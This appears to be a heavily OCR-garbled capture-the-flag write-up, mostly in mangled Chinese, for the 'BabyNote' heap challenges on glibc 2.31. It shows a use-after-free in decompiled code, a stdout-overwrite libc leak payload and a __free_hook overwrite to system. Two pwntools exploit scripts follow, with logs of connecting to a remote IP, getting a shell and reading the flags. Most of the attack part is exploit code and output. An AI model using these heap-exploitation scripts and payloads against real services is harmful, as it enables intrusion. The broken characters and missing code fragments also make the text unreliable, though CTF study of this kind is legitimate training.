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BabyNote
BHRET glibc 2.31 SEHRIEM .

TRIH B IAE free 2 JEEH BB S8 UAF :

ljunsigned  int&d sub 1448()

[

3 int wi; // [rsp+4h] [rbp-Ch] EBYREF

4 unsigned  int&4 wi: f/ [r=sp+Eh] [rbp-8h]

=

& vE = _ readfsguword (0xZ8u):

7 w1l = 0;

=1 puts ("Input ID:™):

= _ 1Zoe89_scant ("sd', &vl):

10 if | vl »= 0 && vl €= 31 && chunk list([vl] ) JF"’
11 free | (void *)chunk list[wv1]): /f UAF
12 else

13 puts ("Inwvalid ID!™);

14 return _ readfsguword (0x28u) ~owd;

15t

BFREARERE, BRE - MERMERE gift A, fMibEmIEEREHANFN, BAWRA, AREHARMEKERE.
Jis§- o

FIF tcache double 1 scanf #i 4 & ==& & fili /& malloc_consolidate 3REX main_arena ik

BB AT, KB BCE stdout 4k L, &3 flag A1 write_base Huhik it & H libc Mkt

FIF tcache dup get shell

BB ) B & B2 00 libe 2.23 [ payload £4T #iEEA B & H libc #lk, JFERH payload :

p64 (0xOFBAD1887 p64(0)*3 p8(0x88

flag XA R BERSWERH W&, HE2K wite_base BIKMEFFEH A 0x88 T, T libc 2.31 H write_ptr HKALZ 0x23
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1 stdout_>:
1 stdout_+16>:
1 stdout_+32>:
1 stdout_+48>:
1 stdout_+64>:
1 stdout_+8@>:
1 stdout_+96>:
1 _stdout_+112>:
| 2 1 stdout_+128>:
1 _stdout_+144>:
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BxBRRdRRRdThad2887
BxBORd7 TdEb7cBT723
BxBORd7 TdEb7cBT723
BxBORd7 TdEb7cBT723
BxBBRd7 TdEb7ch7724
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B FIFrFrFffffifffe

Ox00007Tdeb7c@7723
Ox00007Tdeb7c@7723
Ox00007Tdeb7c@7723
Ox00007Tdeb7c@7723
2x0000000000000000
2x0000000000000000
2x00007Tdeb7cO6o80
X TTIFFFFffffffffff
2x00007Tdeb7c@94ch
2x0000000000000000
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EXP

from pwn import

context.terminal

add(content):
p.sendlineafter( (1))
p.sendafter(
gift():
p.sendlineafter(
delete(id):

p.sendlineafter(

(666

(3))
p.sendlineafter( 5
edit(
p.sendlineafter(

,content):

(2))
p.sendlineafter( 5
p.sendafter(

exp():

add( 58)

add( 58)

add ( 58)

for _ in (8):
delete(9)
edit(9, 0x58)

edit(9, 0x10)

p.sendlineafter(

edit(9,

stdout_offset
log.info( ¢

libc.symbols|
add(

ox8)

add(p64 (Ox@FBAD1887)
libc_addr

p64(0)*3
ub4(p.recvuntil(

log.info( (libc

,content)

)

(id))

,content)

0x450)

stdout_offset))

p8(0x00))

,timeout=1)[-6:].1just(8,

_addr))

)) - (0x7fbe678e5980-0x7fbe676fa000)



system_addr libc_addr+libc.sym[

binsh_str libc_addr+libc.search(

delete(1)
edit(1,p64(free_hook)*2)
add ( )
add(p64(system_addr))
delete(1)

p.interactive()

p remote( , 10000)
libc ELF( )
while True:
try:
exp()
exit(9)
except:
p.close()
p remote( , 10000)

518

Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10008: Done
stdout_offset:dxlectbad
libc_addr:-0x1eb980
Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10000:
stdout_offset:dxlectbad
libc_addr:-0x1eb980
Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10008: Done
stdout_offset:dxlectbad
libc_addr:-0x1eb980
Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10008: Done
stdout_offset:dxlectbad
Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10008: Done
stdout_offset:dxlectbad
Closed connection to 8.134.14.168 port 10000
Opening connection to 8.134.14.168 on port 10008: Done
stdout_offset:dxlechad
libc_addr:-8x1eb98@
Closed connection to 8.134.14.168 port 10008
Opening connection to 8.134.14.168 on port 10000:
stdout_offset:@xlec6ad
libc_addr:-8x1eb98@
Closed connection to 8.134.14.168 port 10008
Opening connection to 8.134.14.168 on port 1088@: Done
stdout_offset:@xlec6ad
libc_addr:@8x7Tdb58292000

] Switching to interactive mode

cat flag

flag{43c46063-4dea-4ca7-b74f-aaeaedb3dees}
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from pwn import

context.terminal

add(content):

p.sendlineafter( (1))
p.sendafter( ,content)
gift():

p.sendlineafter( (666))
delete(id):

p.sendlineafter( (3))
p.sendlineafter( s
edit(id,content):

p.sendlineafter( (2))
p.sendlineafter( » (id))
p.sendafter( ,content)

exp():
add( 58)
add( 58)
add( 58)
for _ in (8):
delete(9)
edit(9, 0x58)
edit(9, 0x10)
p.sendlineafter( 0x450)

edit(9,

add( ox8)
add(p64(@xOFBAD1887) +p64(0)*3 + p8(0xee))
libc_addr = u64(p.recvuntil( ,timeout=1)[-6:].1just(8, ))-(8x7f61c5525980-0x7f61c5332000)

log.info( (libc_addr))

free_hook libc_addr+libc.sym|[
log.info( (free_hook))
system_addr libc_addr+libc.sym|[
binsh_str libc_addr+libc.search(

delete(1)
edit(1,p64(free_hook)*2)
add( )
add(p64(system_addr))




delete(1)

p.interactive()

p remote( , 10001)
libc ELF( )
while True:
try:
exp()
exit(9)
except:
p.close()
p remote( , 10001)

(— ~/ctiwork/2021_& % ;‘Babgute_revengefﬂﬁr!:opmzusxhrh
x skye231@pwn-2004
l— python exp.py
[+] Opening connection to 8.134.14.168 on port 180@1: Done
[+] '/home/skye231/ctfwork/2021 \xe7\x9c\x81\xe8\xb5\x%b/Bab
Arch: amdéd-64-1ittle
Partial RELRO

PIE:

Closed connection to 8.134.14.168 port 18081

Opening connection to 8.134.14.168 on port 18@81: Done
Closed connection to 8.134.14.168 port 18081

Opening connection to 8.134.14.168 on port 18@81: Done
Llibc_addr:8x7f4887b%adBd

Tree_hook:@x7T4807d88b28

Switching to interactive mode

BabyNote_revenge
bin
dev
Tlag
lib
1ib32
Lib64
libx32
cat Tlag
flag{c9437513-883c-4bc5-9131-1369b461b@4b}
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